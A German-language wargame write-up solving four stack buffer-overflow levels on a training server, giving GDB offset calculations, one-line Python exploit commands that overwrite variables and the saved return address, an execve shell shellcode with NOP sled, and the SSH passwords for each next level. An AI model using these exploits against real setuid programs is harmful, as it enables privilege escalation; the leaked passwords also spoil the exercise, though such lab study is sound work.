OVERFLOW

OVERFLOW100

Melden Sie sich an dem Übungsrechner als Benutzer `level0` via SSH an und eskalieren Sie Ihre Rechte zu Benutzer `level1`. ssh level0@3l337.de -p 1337, Passwort: t48gd27h
Manipulieren Sie den Programmablauf von `level0` so, dass die Funktion `good()` ausgeführt wird. Dadurch wird eine Shell mit den Berechtigungen des Benutzers `level1` ausgeführt. Mit dem Befehl `cat /home/level1/flag` können Sie die geheime Flag auslesen, vorausgesetzt Sie haben die benötigten Rechte.

1. Offset zwischen "userName" und "userRechte" herausfinden
    - level0 via GDB starten: gdb ./level0
    - Breakpoint an Funktion mit vuln-operation setzen: break check_admin
    - Ausführen mit beliebigen argv[1]: run AAAA
        - Var. userRechte: print &userRechte -> 0xffffd67c
        - Anfang Buffer: print &userName -> 0xffffd658
        - Offset = ffffd67c - ffffd658 = 36 Bytes
        - Ab 37. Byte wird in Var. userRights geschrieben
2. Programm mit einem Input von 37 Bytes ausführen:
    - ./level0 $(python -c 'print("A"*37)')
    - cat /home/level1/flag
    - Das Passwort fuer SSH ist: ls2j86gx

OVERFLOW200

Melden Sie sich an dem Übungsrechner als Benutzer `level1` via SSH an und eskalieren Sie Ihre Rechte zu Benutzer `level2`. ssh level1@3l337.de -p 1337, Passwort: Flag(lvl1)
Mit dem Befehl `cat /home/level2/flag` können Sie die geheime Flag auslesen, vorausgesetzt Sie haben die benötigten Rechte.

1. Offset zwischen "userName" und "userRechte" herausfinden
    - level1 via GDB starten: gdb ./level1
    - Breakpoint an Funktion mit vuln-operation setzen: break check_admin
    - Ausführen mit beliebigen argv[1]: run AAAA
        - Var. userRechte: print &userRechte -> 0xffffd67c
        - Anfang Buffer: print &userName -> 0xffffd658
        - Offset = ffffd67c - ffffd658 = 36 Bytes
        - Ab 37. Byte wird in Var. userRights geschrieben
2. Var. "userRights" mit Input: "0xdeadbeef" überschrieben werden. Wichtig: Little-Endian!
    - ./level1 $(python -c 'print("A"*36 + "\xef\xbe\xad\xde")')
    - cat /home/level2/flag
    - Das Passwort fuer SSH ist: n4kagoq2

OVERFLOW300

Melden Sie sich an dem Übungsrechner als Benutzer `level2` via SSH an und eskalieren Sie Ihre Rechte zu Benutzer `level3`. ssh level2@3l337.de -p 1337, Passwort: Flag(lvl2) Mit dem Befehl `cat /home/level3/flag` können Sie die geheime Flag auslesen, vorausgesetzt Sie haben die benötigten Rechte. Im Gegensatz zu den vorherigen Aufgaben gibt es hier keinen Sprung in die Funktion `good()` im normalem Programmablauf. Manipulieren sie den gespeicherten Instruction Pointer!

1. Offset zwischen "userName" und gespeicherten "eip" herausfinden
    - level2 via GDB starten: gdb ./level2
    - Breakpoint an Funktion mit vuln-operation setzen: break check_admin
    - Ausführen mit 4 Byte großem Argument: run AAAA
        - Position eip: info frame -> 0xffffd68c
        - Anfang Buffer: print &userName -> 0xffffd658
        - Offset = ffffd68c - ffffd658 = 52 Bytes
        - Ab 53. Byte wird in return-Adresse geschrieben
2. return-Adresse mit Adresse der good()-Funktion überschreiben. Wichtig: Little-Endian!
    - good()-Adresse: gdb ./level2 -> print good -> 0x80485bb
    - ./level2 $(python -c 'print("A"*52 + "\xbb\x85\x04\x08")')
    - cat /home/level3/flag
    - Das Passwort fuer SSH ist: 7qur207t

OVERFLOW400

Melden Sie sich an dem Übungsrechner als Benutzer `level3` via SSH an und eskalieren Sie Ihre Rechte zu Benutzer `level4`. ssh level3@3l337.de -p 1337, Passwort: Flag(lvl3) Mit dem Befehl `cat /home/level4/flag` können Sie die geheime Flag auslesen, vorausgesetzt Sie haben die benötigten Rechte. Die Funktion good() wurde gestrichen.

1. Offset zwischen "userName" und gespeicherten "eip" herausfinden
    - level3 via GDB starten: gdb ./level3
    - Breakpoint an Funktion mit vuln-operation setzen: break check_admin
    - Ausführen mit 4 Byte großem Argument: run AAAA
        - Position eip: info frame -> 0xffffd68c
        - Anfang Buffer: print &userName -> 0xffffd468
        - Offset = ffffd68c - ffffd468 = 548 Bytes
        - Ab 549. Byte wird in return-Adresse geschrieben
2. Tatsächliche Buffer-Pos. herausfinden. Wichtig: Verschiebt sich, da argv[1] >= 12 Byte!
    - level3 via GDB starten: gdb ./level3
    - Breakpoint an Funktion mit vuln-operation setzen: break check_admin
    - Ausführen mit 548 Byte großem Argument: run $(python -c 'print("A"*548)')
        - Anfang Buffer: print &userName -> 0xffffd248
3. "userName" mit NOPs+Shellcode überschreiben, danach return in ungefähre Mitte der NOPs
    - 548 Bytes bis return -> 473*NOP + 75 Bytes Shellcode
    - ./level3 $(python -c 'print("\x90"*473+"\x31\xc0\x89\xc2\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x89\xc1\xb0\x0b\x52\x51\x53\x89\xe1\xcd\x80\x31\xc0\x99\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x89\xc2\x31\xc0\xb0\xa4\xcd\x80\x31\xc0\x99\x31\xc9\x31\xd2\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" + "\x48\xd3\xff\xff")')
    - cat /home/level4/flag
    - Das Passwort fuer SSH ist: g2h34uwz